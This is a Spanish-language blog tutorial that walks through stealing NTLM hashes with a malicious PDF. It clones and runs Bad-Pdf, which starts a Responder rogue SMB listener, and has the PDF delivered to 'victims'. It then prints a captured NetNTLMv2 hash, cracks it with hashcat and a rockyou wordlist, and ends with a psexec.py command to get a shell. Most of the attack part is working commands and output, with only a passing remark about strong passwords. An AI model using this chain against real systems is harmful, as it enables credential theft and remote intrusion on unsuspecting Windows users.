En este post vamos a ver de una manera práctica cómo podemos robar los hashes NTLM de un objetivo Windows mediante un pdf malicioso.
NTLM
NTLM es un protocolo de autenticación desafío-respuesta que utiliza tres mensajes para autenticar un cliente.
- En primer lugar, el cliente establece la conexión y envía un NEGOTIATE_MESSAGE.
- A continuación, el servidor responde con CHALLENGE_MESSAGE que se utiliza para comprobar la identidad del cliente.
- Finalmente, el cliente responde al reto con un AUTHENTICATE_MESSAGE. que servirá para que el cliente se autentifique
En las versiones mas actualizadas el hash usuado es el NTLMv2, es decir la version dos de del NTLM.
NTLMv2 envía dos respuestas de 8 bytes a un desafío del servidor (CHALLENGE_MESSAGE). Cada respuesta contiene un hash HMAC-MD5 de 16 bytes del desafío del servidor, un desafío de cliente generado de manera aleatoria completamente o parcialmente y un hash HMAC-MD5 con la contraseña del usuario a parte de otra información de identificación.
Se pueden obtener los hashes NTLM al volcar la base de datos SAM de cualquier sistema operativo Windows, la base de datos de un controlador de dominio o de Mimikatz por ejemplo, pero al realizar este metodo obtenemos el NET-NTLM por lo que no podríamos realizar un ataque Pass The Hash.
Generación del PDF
Para la creación de este PDF usaremos BadPDF, un python muy sencillo de usar que creará nuestro pdf y a su vez levantará un listener de responder que nos permitirá capturar el hash NTLM de quien abra el PDF
git clone https://github.com/deepzec/Bad-Pdf cd Bad-Pdf python badpdf.py
Ejecutaremos el python y le indicaremos mediante los diferentes prompts que van saliendo algunos parametros.
Quedará levantado un listener del responder, una herramienta con muchas funcionalidades entre ellas esta la de crear un rogue SMB al que nuestra víctima hará la petición desvelando asi su hash NTLM
Obtención del hash
Una vez transmitido el archivo malicioso a nuestras víctimas, estaremos a la espera de una ejecución. Cuando el pdf se ejecute enviará la petición y obtendremos el hash.
Una vez obtenido este hash se pude intentar crackear para obtener la contraseña en plano del usuario o continuar el ataque a través de la técnica Relaying si se dispone de ese vector de ataque.
Crackeando el hash
Copiaremos el hash completo a un archivo y mediante hashcat realizaremos un ataque de fuerza bruta. Este metodo puede no tener resultado ya que la contraseña debería estar en nuestro diccionario.
echo "Tester::DESKTOP-06SOKS7:3a42bbec5ab35438:0BFDA0E2A3BBECF021B9617EEDB8638B:0101000000000000C0653150DE09D20121EC78862889D21D000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D2010600040002000000080030003000000000000000010000000020000060323A9F80A7C436E0304FC289FE850F83CE9F4E5EF8FD2AA555612A3DC648230A001000000000000000000000000000000000000900220063006900660073002F003100390032002E003100360038002E0031002E0034003200000000000000000000000000">hash hashcat -a 0 -m 5600 hash /root/Documents/Hacking/Wordlist/rockyou.txt
Con esto obtenemos la contraseña en texto plano que es 12345. Es importante que nuestras contraseñas sean seguras 🙂 ya que si nuestra víctima dispone de SMB y no tiene demasiadas medidas de seguridad podremos haber conseguido shell
python psexec.py Tester:[email protected]
Herramientas:
BadPDF, Psexec(Impacket), Hashcat
Referencias:
c9y9ls